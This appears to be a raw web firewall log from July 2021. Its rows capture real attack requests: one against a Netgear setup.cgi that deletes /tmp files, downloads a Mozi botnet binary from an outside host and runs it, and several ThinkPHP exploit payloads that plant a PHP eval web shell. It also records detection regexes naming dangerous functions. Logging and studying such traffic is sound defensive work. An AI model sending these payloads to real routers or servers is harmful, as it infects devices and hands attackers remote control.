#I LOVE YOU EVERDAY#

["2021-07-23 13:21:38","182.121.14.120","GET","\/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/*;wget+http:\/\/182.121.14.120:40144\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1",null,"args","\/\\* >> cmd:rm -rf \/tmp\/*;wget http:\/\/182.121.14.120:40144\/Mozi.m -O \/tmp\/netgear;sh netgear","GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/*;wget+http:\/\/182.121.14.120:40144\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1 HTTP\/1.1\n\n"]
["2021-07-23 13:56:34","61.160.247.34","POST","\/public\/index.php\/?s=captcha","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","args","base64_decode\\( >> filter[]2:file_put_contents('spread.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW3NwcmVhZF0pOz8 '))","POST \/public\/index.php\/?s=captcha HTTP\/1.1\nconnection:Keep-Alive\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nuser-agent:Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)\nhost:211.149.227.250\ncontent-length:172\n\n_method=construct&server=-1<?php @eval($_POST[spread]);?>&filter[]=assert&filter[]=file_put_contents('spread.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW3NwcmVhZF0pOz8 '))"]
["2021-07-23 13:56:35","61.160.247.34","POST","\/public\/index.php\/?s=captcha","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> server[REQUEST_METHOD]:<?php @eval($_POST[spread]);?>","POST \/public\/index.php\/?s=captcha HTTP\/1.1\nconnection:Keep-Alive\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nuser-agent:Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)\nhost:211.149.227.250\ncontent-length:183\n\n_method=__construct&server[REQUEST_METHOD]=<?php @eval($_POST[spread]);?>&method=get&filter[]=file_put_contents('spread.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW3NwcmVhZF0pOz8 '))"]
["2021-07-23 13:56:35","61.160.247.34","POST","\/public\/index.php\/?s=captcha","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> get[]:echo ^<?php @eval($_POST[spread]);?^> >>spread.php","POST \/public\/index.php\/?s=captcha HTTP\/1.1\nconnection:Keep-Alive\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nuser-agent:Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)\nhost:211.149.227.250\ncontent-length:103\n\n_method=__construct&get[]=echo ^<?php @eval($_POST[spread]);?^> >>spread.php&method=get&filter[]=system"]
["2021-07-23 13:56:35","61.160.247.34","GET","\/public\/index.php?s=index\/%5Cthink%5Capp\/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=spread.php&vars%5B1%5D%5B%5D=%3C?php%20@eval($_POST%5Bspread%5D);?%3E","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vars[1][]2:<?php @eval($_POST[spread]);?>","GET \/public\/index.php?s=index\/%5Cthink%5Capp\/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=spread.php&vars%5B1%5D%5B%5D=%3C?php%20@eval($_POST%5Bspread%5D);?%3E HTTP\/1.1\nconnection:Keep-Alive\nhost:211.149.227.250\nuser-agent:Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)\naccept:*\/*\n\n"]
["2021-07-23 13:56:36","61.160.247.34","GET","\/public\/index.php?s=index\/%5Cthink%5CContainer\/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=spread.php&vars%5B1%5D%5B%5D=%3C?php%20@eval($_POST%5Bspread%5D);?%3E","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vars[1][]2:<?php @eval($_POST[spread]);?>","GET \/public\/index.php?s=index\/%5Cthink%5CContainer\/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=spread.php&vars%5B1%5D%5B%5D=%3C?php%20@eval($_POST%5Bspread%5D);?%3E HTTP\/1.1\nconnection:Keep-Alive\nhost:211.149.227.250\nuser-agent:Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)\naccept:*\/*\n\n"]
["2021-07-23 13:56:36","61.160.247.34","GET","\/public\/index.php?s=index\/%5Cthink%5CContainer\/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=spread.php&vars%5B1%5D%5B1%5D=%3C?php%20@eval($_POST%5Bspread%5D);?%3E","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vars[1][1]:<?php @eval($_POST[spread]);?>","GET \/public\/index.php?s=index\/%5Cthink%5CContainer\/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=spread.php&vars%5B1%5D%5B1%5D=%3C?php%20@eval($_POST%5Bspread%5D);?%3E HTTP\/1.1\nconnection:Keep-Alive\nhost:211.149.227.250\nuser-agent:Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)\naccept:*\/*\n\n"]
["2021-07-23 13:56:40","61.160.247.34","GET","\/public\/index.php?a=fetch&templateFile=public\/index&prefix=''&content=%3Cphp%3Efile_put_contents('spread.php','%3C?php%20@eval($_POST%5Bspread%5D);?%3E')","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","args","SQL探测被系统封锁IP","GET \/public\/index.php?a=fetch&templateFile=public\/index&prefix=''&content=%3Cphp%3Efile_put_contents('spread.php','%3C?php%20@eval($_POST%5Bspread%5D);?%3E') HTTP\/1.1\nconnection:Keep-Alive\nhost:211.149.227.250\nuser-agent:Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)\naccept:*\/*\n\n"]